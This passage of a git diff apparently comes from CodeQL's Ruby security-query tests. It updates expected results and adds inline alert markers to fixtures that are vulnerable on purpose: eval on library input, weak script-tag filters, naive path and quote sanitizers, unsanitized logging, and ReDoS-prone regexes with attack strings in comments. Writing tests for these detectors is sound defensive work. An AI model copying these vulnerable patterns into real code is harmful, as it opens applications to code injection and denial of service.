impl/unsafeCode.rb:2:12:2:17 | target | impl/unsafeCode.rb:3:17:3:25 | #{...} | This string interpolation which depends on $@ is later $@. | impl/unsafeCode.rb:2:12:2:17 | target | library input | impl/unsafeCode.rb:3:5:3:27 | call to eval | interpreted as code | +| impl/unsafeCode.rb:8:30:8:30 | x | impl/unsafeCode.rb:7:12:7:12 | x | impl/unsafeCode.rb:8:30:8:30 | x | This string format which depends on $@ is later $@. | impl/unsafeCode.rb:7:12:7:12 | x | library input | impl/unsafeCode.rb:8:5:8:32 | call to eval | interpreted as code | +| impl/unsafeCode.rb:13:33:13:33 | x | impl/unsafeCode.rb:12:12:12:12 | x | impl/unsafeCode.rb:13:33:13:33 | x | This string format which depends on $@ is later $@. | impl/unsafeCode.rb:12:12:12:12 | x | library input | impl/unsafeCode.rb:13:5:13:35 | call to eval | interpreted as code | +| impl/unsafeCode.rb:29:10:29:15 | my_arr | impl/unsafeCode.rb:28:17:28:22 | my_arr | impl/unsafeCode.rb:29:10:29:15 | my_arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:28:17:28:22 | my_arr | library input | impl/unsafeCode.rb:29:5:29:27 | call to eval | interpreted as code | +| impl/unsafeCode.rb:34:10:34:12 | arr | impl/unsafeCode.rb:32:21:32:21 | x | impl/unsafeCode.rb:34:10:34:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:32:21:32:21 | x | library input | impl/unsafeCode.rb:34:5:34:24 | call to eval | interpreted as code | +| impl/unsafeCode.rb:40:10:40:12 | arr | impl/unsafeCode.rb:37:15:37:15 | x | impl/unsafeCode.rb:40:10:40:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:37:15:37:15 | x | library input | impl/unsafeCode.rb:40:5:40:24 | call to eval | interpreted as code | +| impl/unsafeCode.rb:44:10:44:12 | arr | impl/unsafeCode.rb:37:15:37:15 | x | impl/unsafeCode.rb:44:10:44:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:37:15:37:15 | x | library input | impl/unsafeCode.rb:44:5:44:24 | call to eval | interpreted as code | +| impl/unsafeCode.rb:49:9:49:12 | #{...} | impl/unsafeCode.rb:47:15:47:15 | x | impl/unsafeCode.rb:49:9:49:12 | #{...} | This string interpolation which depends on $@ is later $@. | impl/unsafeCode.rb:47:15:47:15 | x | library input | impl/unsafeCode.rb:51:5:51:13 | call to eval | interpreted as code | +| impl/unsafeCode.rb:55:22:55:22 | x | impl/unsafeCode.rb:54:21:54:21 | x | impl/unsafeCode.rb:55:22:55:22 | x | This string concatenation which depends on $@ is later $@. | impl/unsafeCode.rb:54:21:54:21 | x | library input | impl/unsafeCode.rb:56:5:56:13 | call to eval | interpreted as code | +| impl/unsafeCode.rb:61:10:61:12 | arr | impl/unsafeCode.rb:59:21:59:21 | x | impl/unsafeCode.rb:61:10:61:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:59:21:59:21 | x | library input | impl/unsafeCode.rb:61:5:61:23 | call to eval | interpreted as code | +| impl/unsafeCode.rb:64:10:64:13 | arr2 | impl/unsafeCode.rb:59:24:59:24 | y | impl/unsafeCode.rb:64:10:64:13 | arr2 | This array which depends on $@ is later $@. | impl/unsafeCode.rb:59:24:59:24 | y | library input | impl/unsafeCode.rb:64:5:64:25 | call to eval | interpreted as code | edges | impl/unsafeCode.rb:2:12:2:17 | target | impl/unsafeCode.rb:3:17:3:25 | #{...} | provenance | | | impl/unsafeCode.rb:7:12:7:12 | x | impl/unsafeCode.rb:8:30:8:30 | x | provenance | | @@ -61,15 +73,3 @@ nodes | impl/unsafeCode.rb:63:30:63:30 | y | semmle.label | y | | impl/unsafeCode.rb:64:10:64:13 | arr2 | semmle.label | arr2 | subpaths -#select -| impl/unsafeCode.rb:3:17:3:25 | #{...} | impl/unsafeCode.rb:2:12:2:17 | target | impl/unsafeCode.rb:3:17:3:25 | #{...} | This string interpolation which depends on $@ is later $@. | impl/unsafeCode.rb:2:12:2:17 | target | library input | impl/unsafeCode.rb:3:5:3:27 | call to eval | interpreted as code | -| impl/unsafeCode.rb:8:30:8:30 | x | impl/unsafeCode.rb:7:12:7:12 | x | impl/unsafeCode.rb:8:30:8:30 | x | This string format which depends on $@ is later $@. | impl/unsafeCode.rb:7:12:7:12 | x | library input | impl/unsafeCode.rb:8:5:8:32 | call to eval | interpreted as code | -| impl/unsafeCode.rb:13:33:13:33 | x | impl/unsafeCode.rb:12:12:12:12 | x | impl/unsafeCode.rb:13:33:13:33 | x | This string format which depends on $@ is later $@. | impl/unsafeCode.rb:12:12:12:12 | x | library input | impl/unsafeCode.rb:13:5:13:35 | call to eval | interpreted as code | -| impl/unsafeCode.rb:29:10:29:15 | my_arr | impl/unsafeCode.rb:28:17:28:22 | my_arr | impl/unsafeCode.rb:29:10:29:15 | my_arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:28:17:28:22 | my_arr | library input | impl/unsafeCode.rb:29:5:29:27 | call to eval | interpreted as code | -| impl/unsafeCode.rb:34:10:34:12 | arr | impl/unsafeCode.rb:32:21:32:21 | x | impl/unsafeCode.rb:34:10:34:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:32:21:32:21 | x | library input | impl/unsafeCode.rb:34:5:34:24 | call to eval | interpreted as code | -| impl/unsafeCode.rb:40:10:40:12 | arr | impl/unsafeCode.rb:37:15:37:15 | x | impl/unsafeCode.rb:40:10:40:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:37:15:37:15 | x | library input | impl/unsafeCode.rb:40:5:40:24 | call to eval | interpreted as code | -| impl/unsafeCode.rb:44:10:44:12 | arr | impl/unsafeCode.rb:37:15:37:15 | x | impl/unsafeCode.rb:44:10:44:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:37:15:37:15 | x | library input | impl/unsafeCode.rb:44:5:44:24 | call to eval | interpreted as code | -| impl/unsafeCode.rb:49:9:49:12 | #{...} | impl/unsafeCode.rb:47:15:47:15 | x | impl/unsafeCode.rb:49:9:49:12 | #{...} | This string interpolation which depends on $@ is later $@. | impl/unsafeCode.rb:47:15:47:15 | x | library input | impl/unsafeCode.rb:51:5:51:13 | call to eval | interpreted as code | -| impl/unsafeCode.rb:55:22:55:22 | x | impl/unsafeCode.rb:54:21:54:21 | x | impl/unsafeCode.rb:55:22:55:22 | x | This string concatenation which depends on $@ is later $@. | impl/unsafeCode.rb:54:21:54:21 | x | library input | impl/unsafeCode.rb:56:5:56:13 | call to eval | interpreted as code | -| impl/unsafeCode.rb:61:10:61:12 | arr | impl/unsafeCode.rb:59:21:59:21 | x | impl/unsafeCode.rb:61:10:61:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:59:21:59:21 | x | library input | impl/unsafeCode.rb:61:5:61:23 | call to eval | interpreted as code | -| impl/unsafeCode.rb:64:10:64:13 | arr2 | impl/unsafeCode.rb:59:24:59:24 | y | impl/unsafeCode.rb:64:10:64:13 | arr2 | This array which depends on $@ is later $@. | impl/unsafeCode.rb:59:24:59:24 | y | library input | impl/unsafeCode.rb:64:5:64:25 | call to eval | interpreted as code | diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref index ec336901db5..184c870500d 100644 --- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref @@ -1 +1,2 @@ -queries/security/cwe-094/UnsafeCodeConstruction.ql \ No newline at end of file +query: queries/security/cwe-094/UnsafeCodeConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb index b69048f6328..3c92cea5c8c 100644 --- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb +++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb @@ -1,16 +1,16 @@ class Foobar - def foo1(target) - eval("foo = #{target}") # NOT OK + def foo1(target) # $ Source + eval("foo = #{target}") # NOT OK # $ Alert end # sprintf - def foo2(x) - eval(sprintf("foo = %s", x)) # NOT OK + def foo2(x) # $ Source + eval(sprintf("foo = %s", x)) # NOT OK # $ Alert end # String#% - def foo3(x) - eval("foo = %{foo}" % {foo: x}) # NOT OK + def foo3(x) # $ Source + eval("foo = %{foo}" % {foo: x}) # NOT OK # $ Alert end def indirect_eval(x) @@ -25,42 +25,42 @@ class Foobar eval("def \n #{code} \n end") # OK - parameter is named code end - def joinStuff(my_arr) - eval(my_arr.join("\n")) # NOT OK + def joinStuff(my_arr) # $ Source + eval(my_arr.join("\n")) # NOT OK # $ Alert end - def joinWithElemt(x) + def joinWithElemt(x) # $ Source arr = [x, "foobar"] - eval(arr.join("\n")) # NOT OK + eval(arr.join("\n")) # NOT OK # $ Alert end - def pushArr(x, y) + def pushArr(x, y) # $ Source arr = [] arr.push(x) - eval(arr.join("\n")) # NOT OK + eval(arr.join("\n")) # NOT OK # $ Alert arr2 = [] arr2 << y - eval(arr.join("\n")) # NOT OK + eval(arr.join("\n")) # NOT OK # $ Alert end - def hereDoc(x) + def hereDoc(x) # $ Source foo = <<~HERE - #{x} + #{x} # $ Alert HERE eval(foo) # NOT OK end - def string_concat(x) - foo = "foo = " + x + def string_concat(x) # $ Source + foo = "foo = " + x # $ Alert eval(foo) # NOT OK end - def join_indirect(x, y) + def join_indirect(x, y) # $ Source arr = Array(x) - eval(arr.join(" ")) # NOT OK + eval(arr.join(" ")) # NOT OK # $ Alert arr2 = [Array(["foo = ", y]).join(" ")] - eval(arr2.join("\n")) # NOT OK + eval(arr2.join("\n")) # NOT OK # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref index 6780ef6d4c8..d0ba313d71e 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref +++ b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref @@ -1 +1,2 @@ -queries/security/cwe-116/BadTagFilter.ql \ No newline at end of file +query: queries/security/cwe-116/BadTagFilter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb index dd4a074c784..d9940d35551 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb +++ b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb @@ -1,22 +1,22 @@ filters = [ - /.*?<\/script>/i, # NOT OK - doesn't match newlines or `` - /.*?<\/script>/im, # NOT OK - doesn't match `` + /.*?<\/script>/i, # NOT OK - doesn't match newlines or `` # $ Alert + /.*?<\/script>/im, # NOT OK - doesn't match `` # $ Alert /.*?<\/script[^>]*>/im, # OK //im, # OK - we don't care regexps that only match comments /)|([^\/\s>]+)[\S\s]*?>/, # NOT OK - doesn't match comments with the right capture groups - /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, # NOT OK - capture groups + /]*>([\s\S]*?)<\/script>/gi, # NOT OK - too strict matching on the end tag # $ Alert + /<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>/, # NOT OK - doesn't match comments with the right capture groups # $ Alert + /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, # NOT OK - capture groups # $ Alert ] doFilters(filters) \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref index 966c74aaf64..e7f5463e794 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref @@ -1 +1,2 @@ -queries/security/cwe-116/IncompleteSanitization.ql \ No newline at end of file +query: queries/security/cwe-116/IncompleteSanitization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb index f59fdd332ae..f9b37b12c6a 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb @@ -1,91 +1,91 @@ def bad1(s) - s.sub "'", "" # NOT OK - s.sub! "'", "" # NOT OK + s.sub "'", "" # NOT OK # $ Alert + s.sub! "'", "" # NOT OK # $ Alert end def bad2(s) - s.sub /'/, "" # NOT OK - s.sub! /'/, "" # NOT OK + s.sub /'/, "" # NOT OK # $ Alert + s.sub! /'/, "" # NOT OK # $ Alert end def bad3(s1, s2, s3) - s1.gsub /'/, "\\'" # NOT OK - s1.gsub /'/, '\\\'' # NOT OK - s2.gsub! /'/, "\\'" # NOT OK - s3.gsub! /'/, '\\\'' # NOT OK + s1.gsub /'/, "\\'" # NOT OK # $ Alert + s1.gsub /'/, '\\\'' # NOT OK # $ Alert + s2.gsub! /'/, "\\'" # NOT OK # $ Alert + s3.gsub! /'/, '\\\'' # NOT OK # $ Alert end def bad4(s1, s2, s3) - s1.gsub /'/, "\\\\\\&" # NOT OK - s1.gsub /'/, '\\\\\&' # NOT OK - s2.gsub! /'/, "\\\\\\&" # NOT OK - s3.gsub! /'/, '\\\\\&' # NOT OK + s1.gsub /'/, "\\\\\\&" # NOT OK # $ Alert + s1.gsub /'/, '\\\\\&' # NOT OK # $ Alert + s2.gsub! /'/, "\\\\\\&" # NOT OK # $ Alert + s3.gsub! /'/, '\\\\\&' # NOT OK # $ Alert end def bad5(s) - s.gsub /['"]/, '\\\\\&' # NOT OK - s.gsub! /['"]/, '\\\\\&' # NOT OK + s.gsub /['"]/, '\\\\\&' # NOT OK # $ Alert + s.gsub! /['"]/, '\\\\\&' # NOT OK # $ Alert end def bad6(s) - s.gsub /(['"])/, '\\\\\\1' # NOT OK - s.gsub! /(['"])/, '\\\\\\1' # NOT OK + s.gsub /(['"])/, '\\\\\\1' # NOT OK # $ Alert + s.gsub! /(['"])/, '\\\\\\1' # NOT OK # $ Alert end def bad7(s) - s.gsub /('|")/, '\\\\\1' # NOT OK - s.gsub! /('|")/, '\\\\\1' # NOT OK + s.gsub /('|")/, '\\\\\1' # NOT OK # $ Alert + s.gsub! /('|")/, '\\\\\1' # NOT OK # $ Alert end def bad8(s) - s.sub '|', '' # NOT OK - s.sub! '|', '' # NOT OK + s.sub '|', '' # NOT OK # $ Alert + s.sub! '|', '' # NOT OK # $ Alert end def bad9(s1, s2, s3, s4) - s1.gsub /"/, "\\\"" # NOT OK - s1.gsub /"/, '\\"' # NOT OK - s1.gsub '"', '\\"' # NOT OK - s2.gsub! /"/, "\\\"" # NOT OK - s3.gsub! /"/, '\\"' # NOT OK - s4.gsub! '"', '\\"' # NOT OK + s1.gsub /"/, "\\\"" # NOT OK # $ Alert + s1.gsub /"/, '\\"' # NOT OK # $ Alert + s1.gsub '"', '\\"' # NOT OK # $ Alert + s2.gsub! /"/, "\\\"" # NOT OK # $ Alert + s3.gsub! /"/, '\\"' # NOT OK # $ Alert + s4.gsub! '"', '\\"' # NOT OK # $ Alert end def bad10(s) - s.sub "/", "%2F" # NOT OK - s.sub! "/", "%2F" # NOT OK + s.sub "/", "%2F" # NOT OK # $ Alert + s.sub! "/", "%2F" # NOT OK # $ Alert end def bad11(s) - s.sub "%25", "%" # NOT OK - s.sub! "%25", "%" # NOT OK + s.sub "%25", "%" # NOT OK # $ Alert + s.sub! "%25", "%" # NOT OK # $ Alert end def bad12(s) - s.sub %q['], %q[] # NOT OK - s.sub! %q['], %q[] # NOT OK + s.sub %q['], %q[] # NOT OK # $ Alert + s.sub! %q['], %q[] # NOT OK # $ Alert end def bad13(s) - s.sub "'" + "", "" # NOT OK - s.sub! "'" + "", "" # NOT OK + s.sub "'" + "", "" # NOT OK # $ Alert + s.sub! "'" + "", "" # NOT OK # $ Alert end def bad14(s) - s.sub "'", "" + "" # NOT OK - s.sub! "'", "" + "" # NOT OK + s.sub "'", "" + "" # NOT OK # $ Alert + s.sub! "'", "" + "" # NOT OK # $ Alert end def bad15(s) - s.sub "'" + "", "" + "" # NOT OK - s.sub! "'" + "", "" + "" # NOT OK + s.sub "'" + "", "" + "" # NOT OK # $ Alert + s.sub! "'" + "", "" + "" # NOT OK # $ Alert end def bad16(s) indirect = /'/ - s.sub(indirect, "") # NOT OK - s.sub!(indirect, "") # NOT OK + s.sub(indirect, "") # NOT OK # $ Alert + s.sub!(indirect, "") # NOT OK # $ Alert end def good1a(s) @@ -212,15 +212,15 @@ def good13a(s) s.sub('[', '').sub(']', '') # OK s.sub('(', '').sub(')', '') # OK s.sub('{', '').sub('}', '') # OK - s.sub('<', '').sub('>', '') # NOT OK: too common as a bad HTML sanitizer + s.sub('<', '').sub('>', '') # NOT OK: too common as a bad HTML sanitizer # $ Alert - s.sub('[', '\\[').sub(']', '\\]') # NOT OK - s.sub('{', '\\{').sub('}', '\\}') # NOT OK + s.sub('[', '\\[').sub(']', '\\]') # NOT OK # $ Alert + s.sub('{', '\\{').sub('}', '\\}') # NOT OK # $ Alert s = s.sub('[', '') # OK s = s.sub(']', '') # OK s.sub(/{/, '').sub(/}/, '') # OK - s.sub(']', '').sub('[', '') # probably OK, but still flagged + s.sub(']', '').sub('[', '') # probably OK, but still flagged # $ Alert end def good13b(s1) @@ -245,8 +245,8 @@ def newlines_a(a, b, c) # motivation for whitelist `which emacs`.sub("\n", "") # OK - a.sub("\n", "").sub(b, c) # NOT OK - a.sub(b, c).sub("\n", "") # NOT OK + a.sub("\n", "").sub(b, c) # NOT OK # $ Alert + a.sub(b, c).sub("\n", "") # NOT OK # $ Alert end def newlines_b(a, b, c) @@ -255,18 +255,18 @@ def newlines_b(a, b, c) output.sub!("\n", "") # OK d = a.dup - d.sub!("\n", "") # NOT OK + d.sub!("\n", "") # NOT OK # $ Alert d.sub!(b, c) e = a.dup d.sub!(b, c) - d.sub!("\n", "") # NOT OK + d.sub!("\n", "") # NOT OK # $ Alert end def bad_path_sanitizer(p1, p2) # attempt at path sanitization - p1.sub! "/../", "" # NOT OK - p2.sub "/../", "" # NOT OK + p1.sub! "/../", "" # NOT OK # $ Alert + p2.sub "/../", "" # NOT OK # $ Alert end def each_line_sanitizer(p1) diff --git a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.expected b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.expected index 85299a98c28..123b65ba676 100644 --- a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.expected +++ b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.expected @@ -1,3 +1,11 @@ +#select +| app/controllers/users_controller.rb:16:19:16:29 | unsanitized | app/controllers/users_controller.rb:15:19:15:24 | call to params | app/controllers/users_controller.rb:16:19:16:29 | unsanitized | Log entry depends on a $@. | app/controllers/users_controller.rb:15:19:15:24 | call to params | user-provided value | +| app/controllers/users_controller.rb:17:19:17:41 | ... + ... | app/controllers/users_controller.rb:15:19:15:24 | call to params | app/controllers/users_controller.rb:17:19:17:41 | ... + ... | Log entry depends on a $@. | app/controllers/users_controller.rb:15:19:15:24 | call to params | user-provided value | +| app/controllers/users_controller.rb:25:7:25:18 | unsanitized2 | app/controllers/users_controller.rb:15:19:15:24 | call to params | app/controllers/users_controller.rb:25:7:25:18 | unsanitized2 | Log entry depends on a $@. | app/controllers/users_controller.rb:15:19:15:24 | call to params | user-provided value | +| app/controllers/users_controller.rb:27:16:27:39 | ... + ... | app/controllers/users_controller.rb:15:19:15:24 | call to params | app/controllers/users_controller.rb:27:16:27:39 | ... + ... | Log entry depends on a $@. | app/controllers/users_controller.rb:15:19:15:24 | call to params | user-provided value | +| app/controllers/users_controller.rb:34:33:34:43 | unsanitized | app/controllers/users_controller.rb:33:19:33:25 | call to cookies | app/controllers/users_controller.rb:34:33:34:43 | unsanitized | Log entry depends on a $@. | app/controllers/users_controller.rb:33:19:33:25 | call to cookies | user-provided value | +| app/controllers/users_controller.rb:35:33:35:55 | ... + ... | app/controllers/users_controller.rb:33:19:33:25 | call to cookies | app/controllers/users_controller.rb:35:33:35:55 | ... + ... | Log entry depends on a $@. | app/controllers/users_controller.rb:33:19:33:25 | call to cookies | user-provided value | +| app/controllers/users_controller.rb:49:19:49:30 | ...[...] | app/controllers/users_controller.rb:49:19:49:24 | call to params | app/controllers/users_controller.rb:49:19:49:30 | ...[...] | Log entry depends on a $@. | app/controllers/users_controller.rb:49:19:49:24 | call to params | user-provided value | edges | app/controllers/users_controller.rb:15:5:15:15 | unsanitized | app/controllers/users_controller.rb:16:19:16:29 | unsanitized | provenance | | | app/controllers/users_controller.rb:15:5:15:15 | unsanitized | app/controllers/users_controller.rb:17:19:17:41 | ... + ... | provenance | | @@ -42,11 +50,3 @@ nodes | app/controllers/users_controller.rb:49:19:49:24 | call to params | semmle.label | call to params | | app/controllers/users_controller.rb:49:19:49:30 | ...[...] | semmle.label | ...[...] | subpaths -#select -| app/controllers/users_controller.rb:16:19:16:29 | unsanitized | app/controllers/users_controller.rb:15:19:15:24 | call to params | app/controllers/users_controller.rb:16:19:16:29 | unsanitized | Log entry depends on a $@. | app/controllers/users_controller.rb:15:19:15:24 | call to params | user-provided value | -| app/controllers/users_controller.rb:17:19:17:41 | ... + ... | app/controllers/users_controller.rb:15:19:15:24 | call to params | app/controllers/users_controller.rb:17:19:17:41 | ... + ... | Log entry depends on a $@. | app/controllers/users_controller.rb:15:19:15:24 | call to params | user-provided value | -| app/controllers/users_controller.rb:25:7:25:18 | unsanitized2 | app/controllers/users_controller.rb:15:19:15:24 | call to params | app/controllers/users_controller.rb:25:7:25:18 | unsanitized2 | Log entry depends on a $@. | app/controllers/users_controller.rb:15:19:15:24 | call to params | user-provided value | -| app/controllers/users_controller.rb:27:16:27:39 | ... + ... | app/controllers/users_controller.rb:15:19:15:24 | call to params | app/controllers/users_controller.rb:27:16:27:39 | ... + ... | Log entry depends on a $@. | app/controllers/users_controller.rb:15:19:15:24 | call to params | user-provided value | -| app/controllers/users_controller.rb:34:33:34:43 | unsanitized | app/controllers/users_controller.rb:33:19:33:25 | call to cookies | app/controllers/users_controller.rb:34:33:34:43 | unsanitized | Log entry depends on a $@. | app/controllers/users_controller.rb:33:19:33:25 | call to cookies | user-provided value | -| app/controllers/users_controller.rb:35:33:35:55 | ... + ... | app/controllers/users_controller.rb:33:19:33:25 | call to cookies | app/controllers/users_controller.rb:35:33:35:55 | ... + ... | Log entry depends on a $@. | app/controllers/users_controller.rb:33:19:33:25 | call to cookies | user-provided value | -| app/controllers/users_controller.rb:49:19:49:30 | ...[...] | app/controllers/users_controller.rb:49:19:49:24 | call to params | app/controllers/users_controller.rb:49:19:49:30 | ...[...] | Log entry depends on a $@. | app/controllers/users_controller.rb:49:19:49:24 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref index 3368edec402..19ed712f458 100644 --- a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref +++ b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref @@ -1 +1,2 @@ -queries/security/cwe-117/LogInjection.ql \ No newline at end of file +query: queries/security/cwe-117/LogInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb index 67e0e1cb1a7..a49cce26d47 100644 --- a/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb @@ -12,9 +12,9 @@ class UsersController < ApplicationController def read_from_params init_logger - unsanitized = params[:foo] - @logger.debug unsanitized # BAD: unsanitized user input - @logger.error "input: " + unsanitized # BAD: unsanitized user input + unsanitized = params[:foo] # $ Source + @logger.debug unsanitized # BAD: unsanitized user input # $ Alert + @logger.error "input: " + unsanitized # BAD: unsanitized user input # $ Alert sanitized = unsanitized.gsub("\n", "") @logger.fatal sanitized # GOOD: sanitized user input @@ -22,17 +22,17 @@ class UsersController < ApplicationController unsanitized2 = unsanitized.sub("\n", "") @logger.info do - unsanitized2 # BAD: partially sanitized user input + unsanitized2 # BAD: partially sanitized user input # $ Alert end - @logger << "input: " + unsanitized2 # BAD: partially sanitized user input + @logger << "input: " + unsanitized2 # BAD: partially sanitized user input # $ Alert end def read_from_cookies init_logger - unsanitized = cookies[:bar] - @logger.add(Logger::INFO) { unsanitized } # BAD: unsanitized user input - @logger.log(Logger::WARN) { "input: " + unsanitized } # BAD: unsanitized user input + unsanitized = cookies[:bar] # $ Source + @logger.add(Logger::INFO) { unsanitized } # BAD: unsanitized user input # $ Alert + @logger.log(Logger::WARN) { "input: " + unsanitized } # BAD: unsanitized user input # $ Alert end def html_sanitization @@ -46,7 +46,7 @@ class UsersController < ApplicationController def inspect_sanitization init_logger - @logger.debug params[:foo] # BAD: unsanitized user input + @logger.debug params[:foo] # BAD: unsanitized user input # $ Alert @logger.debug params[:foo].inspect # GOOD: sanitized user input end end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref index 7f4557181d7..12b80689587 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref @@ -1 +1,2 @@ -queries/security/cwe-1333/ReDoS.ql +query: queries/security/cwe-1333/ReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb index 450d330dc92..8f45aff3c45 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb @@ -1,7 +1,7 @@ # NOT GOOD; attack: "_" + "__".repeat(100) # Adapted from marked (https://github.com/markedjs/marked), which is licensed # under the MIT license; see file marked-LICENSE. -bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/ +bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/ # $ Alert # GOOD # Adapted from marked (https://github.com/markedjs/marked), which is licensed @@ -16,7 +16,7 @@ good2 = /(.*,)+.+/ # NOT GOOD; attack: " '" + "\\\\".repeat(100) # Adapted from CodeMirror (https://github.com/codemirror/codemirror), # which is licensed under the MIT license; see file CodeMirror-LICENSE. -bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/ +bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/ # $ Alert # GOOD # Adapted from lulucms2 (https://github.com/yiifans/lulucms2). @@ -28,89 +28,89 @@ good2 = /\(\*(?:[\s\S]*?\(\*[\s\S]*?\*\))*[\s\S]*?\*\)/ good3 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)\n*/ # NOT GOOD, variant of good3; attack: "a|\n:|\n" + "||\n".repeat(100) -bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/ +bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/ # $ Alert # NOT GOOD; attack: "/" + "\\/a".repeat(100) # Adapted from ANodeBlog (https://github.com/gefangshuai/ANodeBlog), # which is licensed under the Apache License 2.0; see file ANodeBlog-LICENSE. -bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/ +bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/ # $ Alert # NOT GOOD; attack: "##".repeat(100) + "\na" # Adapted from CodeMirror (https://github.com/codemirror/codemirror), # which is licensed under the MIT license; see file CodeMirror-LICENSE. -bad6 = /^([\s\[\{\(]|#.*)*$/ +bad6 = /^([\s\[\{\(]|#.*)*$/ # $ Alert # GOOD good4 = /(\r\n|\r|\n)+/ # BAD - PoC: `node -e "/((?:[^\"\']|\".*?\"|\'.*?\')*?)([(,)]|$)/.test(\"'''''''''''''''''''''''''''''''''''''''''''''\\\"\");"`. It's complicated though, because the regexp still matches something, it just matches the 